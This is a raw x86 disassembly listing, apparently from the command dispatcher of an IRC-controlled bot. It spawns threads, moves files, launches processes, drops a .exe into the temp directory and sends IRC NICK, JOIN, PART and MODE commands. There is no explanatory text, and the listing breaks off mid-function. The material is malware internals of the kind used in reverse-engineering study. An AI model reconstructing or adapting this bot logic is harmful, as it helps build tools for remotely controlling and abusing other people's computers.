; ---------------------------------------------------------------------------
loc_4088D6: ; CODE XREF: sub_40274D+497Ej
; sub_40274D+4995j ...
push 7Fh
pop esi
push esi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_3F88]
push eax
call sub_41E860
push esi
lea eax, [ebp+4Ch+var_3F08]
push edi
push eax
call sub_41E860
push esi
push [ebp+4Ch+arg_0]
lea eax, [ebp+4Ch+var_3E88]
push eax
call sub_41E860
push esi
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_3E08]
push eax
call sub_41E860
push 20h
push [ebp+4Ch+var_10]
lea eax, [ebp+4Ch+var_3D88]
push eax
call sub_41E860
push [ebp+4Ch+arg_0]
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_3D08], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_3D04], eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D4B0
push eax
mov [ebp+4Ch+var_3F90], esi
call sub_41E6A6
add esp, 50h
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 0Dh
push eax
call sub_40AE85
add esp, 0Ch
mov [ebp+4Ch+var_3F8C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3F90]
push eax
push offset loc_415BD8
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_3F8C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4089E5
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D478
loc_4089B1: ; CODE XREF: sub_40274D+4BA1j
; sub_40274D+54C7j ...
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
add esp, 0Ch
loc_4089C0: ; CODE XREF: sub_40274D+4BB6j
; sub_40274D+54DCj ...
cmp [ebp+4Ch+var_C], ebx
jnz loc_408D10
push ebx
push [ebp+4Ch+var_4]
loc_4089CD: ; CODE XREF: sub_40274D+21E7j
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push esi
jmp loc_4069A7
; ---------------------------------------------------------------------------
loc_4089DD: ; CODE XREF: sub_40274D+629Ej
push 32h
call ds:dword_42B014 ; Sleep
loc_4089E5: ; CODE XREF: sub_40274D+6256j
cmp [ebp+4Ch+var_3D00], ebx
jz short loc_4089DD
jmp short loc_4089C0
; ---------------------------------------------------------------------------
loc_4089EF: ; CODE XREF: sub_40274D+4950j
; sub_40274D+4967j
push 7Fh
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_1780]
push eax
call sub_41E860
push edi
call sub_41E7AD
push 3Fh
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_1630], eax
lea eax, [ebp+4Ch+var_1700]
push eax
call sub_41E860
mov esi, [ebp+esi+4Ch+var_94]
add esp, 1Ch
cmp esi, ebx
jz short loc_408A3A
push 3Fh
lea eax, [ebp+4Ch+var_16C0]
push esi
push eax
call sub_41E860
add esp, 0Ch
loc_408A3A: ; CODE XREF: sub_40274D+62D9j
lea eax, [ebp+4Ch+var_1700]
push eax
push [ebp+4Ch+var_1630]
lea eax, [ebp+4Ch+var_1780]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42D448
push eax
mov [ebp+4Ch+var_162C], 1
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 1Fh
push eax
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_1628], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1784]
push eax
push offset sub_4025EF
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1628]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_408AC9
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42D40C
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_408AC1: ; CODE XREF: sub_40274D+6382j
push 32h
call ds:dword_42B014 ; Sleep
loc_408AC9: ; CODE XREF: sub_40274D+6361j
cmp [ebp+4Ch+var_1624], ebx
jz short loc_408AC1
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_408AD6: ; CODE XREF: sub_40274D+4913j
; sub_40274D:loc_407077j
push edi
call sub_41E7AD
cmp eax, ebx
pop ecx
mov [ebp+4Ch+var_1D6C], eax
jle loc_408BC3
push [ebp+4Ch+var_8]
mov esi, 80h
lea eax, [ebp+4Ch+var_1EF4]
push esi
push eax
call sub_41E6FE
push [ebp+4Ch+var_9C]
xor eax, eax
cmp [ebp+4Ch+var_8F6], bl
push esi
setnz al
mov [ebp+4Ch+var_1D68], eax
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1EF8], eax
lea eax, [ebp+4Ch+var_1DF4]
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+var_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_1D64], eax
mov eax, [ebp+4Ch+var_C]
push offset unk_42D3E0
mov [ebp+4Ch+var_1D60], eax
lea eax, [ebp+4Ch+var_2D0]
push 200h
push eax
call sub_41E6FE
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 15h
push eax
call sub_40AE85
add esp, 38h
mov [ebp+4Ch+var_1D74], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1EF8]
push eax
push offset loc_415C89
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1D74]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_408BB6
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D3A8
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_408BAE: ; CODE XREF: sub_40274D+646Fj
push 32h
call ds:dword_42B014 ; Sleep
loc_408BB6: ; CODE XREF: sub_40274D+644Ej
cmp [ebp+4Ch+var_1D5C], ebx
jz short loc_408BAE
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_408BC3: ; CODE XREF: sub_40274D+6398j
push offset unk_42D370
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_408BCD: ; CODE XREF: sub_40274D+48E5j
; sub_40274D+48FCj
push edi
push [ebp+4Ch+var_8]
call ds:dword_42B034 ; MoveFileA
test eax, eax
jz short loc_408BFD
push edi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D34C
push 200h
push eax
call sub_41E6FE
loc_408BF5: ; CODE XREF: sub_40274D+2407j
add esp, 14h
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_408BFD: ; CODE XREF: sub_40274D+648Cj
push offset dword_42D340
call sub_41ACD0
push eax
lea eax, [ebp+4Ch+var_2D0]
push 200h
push eax
call sub_41E6FE
add esp, 10h
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_408C21: ; CODE XREF: sub_40274D+48B7j
; sub_40274D+48CEj
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_3C78]
push 104h
push eax
call sub_41E6FE
add esp, 0Ch
cmp [ebp+4Ch+var_18], ebx
jz short loc_408C5B
push edi
push [ebp+4Ch+var_18]
call sub_41F090
cmp eax, ebx
pop ecx
pop ecx
jz short loc_408C5B
push eax
lea eax, [ebp+4Ch+var_3B74]
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_408C5B: ; CODE XREF: sub_40274D+64EEj
; sub_40274D+64FDj
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_3CF8]
push 80h
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_3CFC], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_3A6C], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_3A68], eax
lea eax, [ebp+4Ch+var_3B74]
push eax
lea eax, [ebp+4Ch+var_3C78]
push eax
push offset unk_42D310
lea eax, [ebp+4Ch+var_2D0]
push 200h
push eax
call sub_41E6FE
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 24h
push eax
call sub_40AE85
add esp, 2Ch
mov [ebp+4Ch+var_3A70], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3CFC]
push eax
push offset byte_4198EB
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_3A70]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_408D20
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D2D4
loc_408D01: ; CODE XREF: sub_40274D+731j
; sub_40274D+963j ...
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
add esp, 0Ch
loc_408D10: ; CODE XREF: sub_40274D+84Aj
; sub_40274D+86Ej ...
xor esi, esi
inc esi
jmp loc_406C6E
; ---------------------------------------------------------------------------
loc_408D18: ; CODE XREF: sub_40274D+65D9j
push 32h
call ds:dword_42B014 ; Sleep
loc_408D20: ; CODE XREF: sub_40274D+65A6j
cmp [ebp+4Ch+var_3A64], ebx
jz short loc_408D18
jmp short loc_408D10
; ---------------------------------------------------------------------------
loc_408D2A: ; CODE XREF: sub_40274D+4889j
; sub_40274D+48A0j
push 44h
pop esi
push esi
lea eax, [ebp+4Ch+var_670]
push ebx
push eax
call sub_41E5F0
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_670], esi
xor esi, esi
inc esi
mov [ebp+4Ch+var_644], esi
mov [ebp+4Ch+var_640], bx
call sub_41E7AD
add esp, 10h
cmp eax, esi
jnz short loc_408D69
mov [ebp+4Ch+var_640], 5
loc_408D69: ; CODE XREF: sub_40274D+6611j
cmp [ebp+4Ch+var_18], ebx
jz loc_406C4D
push edi
push [ebp+4Ch+var_18]
call sub_41F090
mov edi, eax
cmp edi, ebx
pop ecx
pop ecx
jz loc_406C4D
lea eax, [ebp+4Ch+var_D98]
push eax
lea eax, [ebp+4Ch+var_670]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_42B008 ; CreateProcessA
test eax, eax
lea eax, [ebp+4Ch+var_2D0]
jnz short loc_408DB8
push offset unk_42D2B0
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_408DB8: ; CODE XREF: sub_40274D+665Fj
push edi
push offset dword_42D294
jmp loc_4076DA
; ---------------------------------------------------------------------------
loc_408DC3: ; CODE XREF: sub_40274D+485Bj
; sub_40274D+4872j
push edi
push offset aIiknc ; "iiKnc"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408F2F
lea eax, [ebp+4Ch+var_48F8]
push eax
push 104h
call ds:dword_42B030 ; GetTempPathA
push 0FFh
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_25D8]
push eax
call sub_41E860
lea eax, [ebp+4Ch+var_17A0]
push eax
call sub_40A8CA
push eax
lea eax, [ebp+4Ch+var_48F8]
push eax
lea eax, [ebp+4Ch+var_24D8]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41E6A6
mov eax, [ebp+esi+4Ch+var_98]
add esp, 20h
cmp eax, ebx
mov [ebp+4Ch+var_23D4], 1
mov [ebp+4Ch+var_23D0], ebx
jz short loc_408E52
push 10h
push ebx
push eax
call sub_41EC61
add esp, 0Ch
mov [ebp+4Ch+var_23C8], eax
jmp short loc_408E58
; ---------------------------------------------------------------------------
loc_408E52: ; CODE XREF: sub_40274D+66EFj
mov [ebp+4Ch+var_23C8], ebx
loc_408E58: ; CODE XREF: sub_40274D+6703j
mov esi, [ebp+esi+4Ch+var_94]
cmp esi, ebx
jz short loc_408E6F
push esi
call sub_41E7AD
pop ecx
mov [ebp+4Ch+var_23CC], eax
jmp short loc_408E75
; ---------------------------------------------------------------------------
loc_408E6F: ; CODE XREF: sub_40274D+6711j
mov [ebp+4Ch+var_23CC], ebx
loc_408E75: ; CODE XREF: sub_40274D+6720j
movzx eax, [ebp+4Ch+var_903]
mov esi, [ebp+4Ch+arg_4]
push 7Fh
push [ebp+4Ch+var_9C]
mov [ebp+4Ch+var_23C4], eax
lea eax, [ebp+4Ch+var_2658]
push eax
mov [ebp+4Ch+var_265C], esi
call sub_41E860
mov eax, [ebp+4Ch+var_4]
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_23BC], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_23C0], eax
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42D25C
push eax
call sub_41E6A6
push esi
lea eax, [ebp+4Ch+var_2D0]
push 1Eh
push eax
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_23D8], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_265C]
push eax
push offset dword_418F38
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_23D8]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_408F22
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42D220
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_408F1A: ; CODE XREF: sub_40274D+67DBj
push 32h
call ds:dword_42B014 ; Sleep
loc_408F22: ; CODE XREF: sub_40274D+67BAj
cmp [ebp+4Ch+var_23B8], ebx
jz short loc_408F1A
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_408F2F: ; CODE XREF: sub_40274D+6685j
push offset dword_42D1D8
jmp loc_406C3F
; ---------------------------------------------------------------------------
loc_408F39: ; CODE XREF: sub_40274D+482Dj
; sub_40274D+4844j
push [ebp+4Ch+var_A0]
push offset dword_42FBF4
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_402B92
cmp [ebp+4Ch+var_18], ebx
jz loc_402B92
push edi
push [ebp+4Ch+var_18]
call sub_41F090
push eax
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push [ebp+4Ch+var_A0]
push [ebp+4Ch+var_A4]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_41E6A6
push 1FFh
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+arg_0]
call sub_41E860
push [ebp+4Ch+var_8]
call sub_41E7AD
add esp, 30h
test eax, eax
jle short loc_408FB6
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 3E8h
pop ecx
push eax
call ds:dword_42B014 ; Sleep
loc_408FB6: ; CODE XREF: sub_40274D+6851j
push offset dword_42D1B0
call sub_417D70
mov eax, [ebp+4Ch+arg_24]
pop ecx
inc eax
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_408FCA: ; CODE XREF: sub_40274D+47FFj
; sub_40274D+4816j
push [ebp+4Ch+var_A0]
push offset dword_42FBF4
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_402B92
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi
push [ebp+4Ch+var_18]
call sub_41F090
push offset aRepeat ; "repeat"
inc edi
push edi
mov esi, eax
call sub_41E990
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+4Ch+var_2D0]
jz short loc_409079
push [ebp+4Ch+var_9C]
push [ebp+4Ch+var_A0]
push [ebp+4Ch+var_A4]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_41E6A6
push 1FFh
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+arg_0]
call sub_41E860
push esi
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42D198
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
push [ebp+4Ch+var_8]
call sub_41E7AD
add esp, 38h
test eax, eax
jle loc_404979
push [ebp+4Ch+var_8]
call sub_41E7AD
add eax, [ebp+4Ch+arg_24]
pop ecx
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_409079: ; CODE XREF: sub_40274D+68C0j
push offset unk_42D164
jmp loc_409887
; ---------------------------------------------------------------------------
loc_409083: ; CODE XREF: sub_40274D+47D1j
; sub_40274D+47E8j
push 7Fh
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2088]
push eax
call sub_41E860
push 7Fh
lea eax, [ebp+4Ch+var_2008]
push edi
push eax
call sub_41E860
push 7Fh
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_1F88]
push eax
call sub_41E860
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_1F04], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_1F00], eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D130
push eax
mov [ebp+4Ch+var_208C], esi
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 0Fh
push eax
call sub_40AE85
add esp, 40h
mov [ebp+4Ch+var_1F08], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_208C]
push eax
push offset loc_4171BC
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1F08]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_409144
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D0F4
jmp loc_409205
; ---------------------------------------------------------------------------
loc_40913C: ; CODE XREF: sub_40274D+69FDj
push 32h
call ds:dword_42B014 ; Sleep
loc_409144: ; CODE XREF: sub_40274D+69DCj
cmp [ebp+4Ch+var_1EFC], ebx
jz short loc_40913C
jmp loc_409214
; ---------------------------------------------------------------------------
loc_409151: ; CODE XREF: sub_40274D+47A3j
; sub_40274D+47BAj
push 7Fh
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_23B0]
push eax
call sub_41E860
push 7Fh
lea eax, [ebp+4Ch+var_2330]
push edi
push eax
call sub_41E860
push 7Fh
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_22B0]
push eax
call sub_41E860
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_222C], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_2228], eax
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42D0C8
push eax
mov [ebp+4Ch+var_23B4], esi
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 11h
push eax
call sub_40AE85
add esp, 40h
mov [ebp+4Ch+var_2230], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_23B4]
push eax
push offset loc_416A7E
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2230]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_409239
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42D08C
loc_409205: ; CODE XREF: sub_40274D+69EAj
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
add esp, 0Ch
loc_409214: ; CODE XREF: sub_40274D+69FFj
; sub_40274D+6AF4j
cmp [ebp+4Ch+var_C], ebx
jnz loc_404A79
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push esi
jmp loc_404A71
; ---------------------------------------------------------------------------
loc_409231: ; CODE XREF: sub_40274D+6AF2j
push 32h
call ds:dword_42B014 ; Sleep
loc_409239: ; CODE XREF: sub_40274D+6AAAj
cmp [ebp+4Ch+var_2224], ebx
jz short loc_409231
jmp short loc_409214
; ---------------------------------------------------------------------------
loc_409243: ; CODE XREF: sub_40274D+4775j
; sub_40274D+478Cj
push edi
lea eax, [ebp+4Ch+var_2D0]
push offset aPartS_0 ; "PART %s"
push eax
call sub_41E6A6
push [ebp+4Ch+var_8]
call sub_41E7AD
add esp, 10h
loc_409260: ; CODE XREF: sub_40274D+6B55j
test eax, eax
jle loc_404979
push [ebp+4Ch+var_8]
call sub_41E7AD
cmp eax, 400h
pop ecx
jge loc_404979
jmp loc_409DC3
; ---------------------------------------------------------------------------
loc_409281: ; CODE XREF: sub_40274D+4747j
; sub_40274D+475Ej
push [ebp+esi+4Ch+var_98]
lea eax, [ebp+4Ch+var_2D0]
push edi
push offset aJoinSS_0 ; "JOIN %s %s"
push eax
call sub_41E6A6
push [ebp+4Ch+var_8]
call sub_41E7AD
add esp, 14h
jmp short loc_409260
; ---------------------------------------------------------------------------
loc_4092A4: ; CODE XREF: sub_40274D+4719j
; sub_40274D+4730j
push edi
lea eax, [ebp+4Ch+var_2D0]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41E6A6
mov esi, [ebp+4Ch+var_8]
push esi
call sub_41E7AD
add esp, 10h
test eax, eax
jle loc_404979
push esi
call sub_41E7AD
cmp eax, 400h
pop ecx
jge loc_404979
lea eax, [ebp+4Ch+var_2D0]
push eax
push offset aS_0 ; "%s\r\n"
push esi
call sub_41E7AD
imul eax, 234h
pop ecx
push ds:dword_4444F4[eax]
call sub_4011F5
push edi
push esi
push offset dword_42D054
jmp loc_409FB1
; ---------------------------------------------------------------------------
loc_40930C: ; CODE XREF: sub_40274D+46EBj
; sub_40274D+4702j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi
push [ebp+4Ch+var_18]
call sub_41F090
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz short loc_40933B
push esi
lea eax, [ebp+4Ch+var_2D0]
push offset aModeS ; "MODE %s"
push eax
call sub_41E6A6
add esp, 0Ch
loc_40933B: ; CODE XREF: sub_40274D+6BD7j
mov edi, [ebp+4Ch+var_8]
push edi
call sub_41E7AD
test eax, eax
pop ecx
jle loc_404979
push edi
call sub_41E7AD
cmp eax, 400h
pop ecx
jge loc_404979
lea eax, [ebp+4Ch+var_2D0]
push eax
push offset aS_0 ; "%s\r\n"
push edi
call sub_41E7AD
imul eax, 234h
pop ecx
push ds:dword_4444F4[eax]
call sub_4011F5
push esi
push edi
push offset dword_42D030
jmp loc_409FB1
; ---------------------------------------------------------------------------
loc_40938F: ; CODE XREF: sub_40274D+46BDj
; sub_40274D+46D4j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi
push [ebp+4Ch+var_18]
call sub_41F090
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz loc_404979
mov edi, [ebp+4Ch+var_8]
push edi
call sub_41E7AD
test eax, eax
pop ecx
jle loc_404979
push edi
call sub_41E7AD
cmp eax, 400h
pop ecx
jge loc_404979
push esi
push offset aS_0 ; "%s\r\n"
push edi
call sub_41E7AD
imul eax, 234h
pop ecx
push ds:dword_4444F4[eax]
call sub_4011F5
push esi
push edi
push offset dword_42D014
jmp loc_409FB1
; ---------------------------------------------------------------------------
loc_4093FB: ; CODE XREF: sub_40274D+468Fj
; sub_40274D+46A6j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8]
push [ebp+4Ch+var_18]
call sub_41F090
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz loc_404979
push esi
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push esi
push offset unk_42CFEC
jmp loc_409FD6
; ---------------------------------------------------------------------------
loc_409434: ; CODE XREF: sub_40274D+4661j
; sub_40274D+4678j
push [ebp+4Ch+var_A0]
push offset dword_42FBF4
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_402B92
push edi
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_42B014 ; Sleep
push [ebp+esi+4Ch+var_98]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push offset dword_42CFCC
call sub_417D70
jmp loc_409FDB
; ---------------------------------------------------------------------------
loc_409492: ; CODE XREF: sub_40274D+4633j
; sub_40274D+464Aj
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8]
call sub_41E1C0
push [ebp+4Ch+var_10]
mov esi, eax
call sub_41E1C0
add eax, [ebp+4Ch+var_18]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41F090
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_404979
push esi
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42D704
push eax
call sub_41E6A6
push ebx
push ebx
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_8]
push [ebp+4Ch+arg_4]
call sub_40123B
push esi
push [ebp+4Ch+var_8]
push offset unk_42CFB0
call sub_417DE4
add esp, 2Ch
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409504: ; CODE XREF: sub_40274D+4605j
; sub_40274D+461Cj
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8]
call sub_41E1C0
push [ebp+4Ch+var_10]
mov esi, eax
call sub_41E1C0
add eax, [ebp+4Ch+var_18]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41F090
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_404979
push ebx
push ebx
push esi
push [ebp+4Ch+var_8]
push [ebp+4Ch+arg_4]
call sub_40123B
push esi
push [ebp+4Ch+var_8]
push offset unk_42CF90
call sub_417DE4
add esp, 20h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_40955E: ; CODE XREF: sub_40274D+45D7j
; sub_40274D+45EEj
cmp [ebp+4Ch+var_18], ebx
jz loc_402B92
push edi
push [ebp+4Ch+var_18]
call sub_41F090
cmp eax, ebx
pop ecx
pop ecx
jz loc_402B92
push eax
push [ebp+4Ch+var_8]
call sub_417C78
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42CF70
push eax
call sub_41E6A6
add esp, 14h
jmp loc_404A5B
; ---------------------------------------------------------------------------
loc_40959F: ; CODE XREF: sub_40274D+45A9j
; sub_40274D+45C0j
push edi
push [ebp+4Ch+var_8]
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_41B065
loc_4095B1: ; CODE XREF: sub_40274D+2435j
add esp, 14h
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_4095B9: ; CODE XREF: sub_40274D+456Ej
; sub_40274D+4583j
push [ebp+4Ch+var_8]
push [ebp+4Ch+arg_1C]
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz loc_404979
mov esi, [ebp+esi+4Ch+var_9C]
cmp esi, ebx
jz short loc_409648
push esi
push [ebp+4Ch+var_18]
call sub_41F090
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
lea eax, [ebp+4Ch+var_2D0]
jz short loc_409636
push esi
push [ebp+4Ch+var_9C]
push [ebp+4Ch+var_A0]
push [ebp+4Ch+var_A4]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_41E6A6
push 1FFh
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+arg_0]
call sub_41E860
push esi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42CF48
push eax
call sub_41E6A6
add esp, 34h
inc [ebp+4Ch+arg_24]
jmp loc_4099EE
; ---------------------------------------------------------------------------
loc_409636: ; CODE XREF: sub_40274D+6E9Ej
push offset unk_42CF18
push eax
call sub_41E6A6
pop ecx
pop ecx
jmp loc_4099EE
; ---------------------------------------------------------------------------
loc_409648: ; CODE XREF: sub_40274D+6E87j
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push [ebp+4Ch+arg_4]
push [ebp+4Ch+arg_1C]
push eax
call sub_41D9E5
add esp, 0Ch
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42CEFC
push 200h
push eax
call sub_41E6FE
add esp, 24h
jmp loc_4099EE
; ---------------------------------------------------------------------------
loc_40968E: ; CODE XREF: sub_40274D+4544j
; sub_40274D+4559j
push offset aScreen ; "screen"
push [ebp+4Ch+var_8]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4096E6
mov edi, [ebp+esi+4Ch+var_9C]
cmp edi, ebx
jz short loc_4096D3
push edi
call sub_417F75
cmp eax, 1
pop ecx
lea eax, [ebp+4Ch+var_2D0]
jnz short loc_4096CC
push edi
push offset unk_42CEC8
push eax
call sub_41E6A6
add esp, 0Ch
jmp short loc_4096E6
; ---------------------------------------------------------------------------
loc_4096CC: ; CODE XREF: sub_40274D+6F6Cj
push offset unk_42CE98
jmp short loc_4096DE
; ---------------------------------------------------------------------------
loc_4096D3: ; CODE XREF: sub_40274D+6F5Aj
push offset unk_42CE5C
lea eax, [ebp+4Ch+var_2D0]
loc_4096DE: ; CODE XREF: sub_40274D+6F84j
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_4096E6: ; CODE XREF: sub_40274D+6F52j
; sub_40274D+6F7Dj
push offset aDrivers ; "drivers"
push [ebp+4Ch+var_8]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_409770
xor edi, edi
loc_4096FB: ; CODE XREF: sub_40274D+700Ej
push 1FFh
lea eax, [ebp+4Ch+var_5400]
push eax
push 0FFh
lea eax, [ebp+4Ch+var_4EF8]
push eax
push edi
call ds:dword_44419C
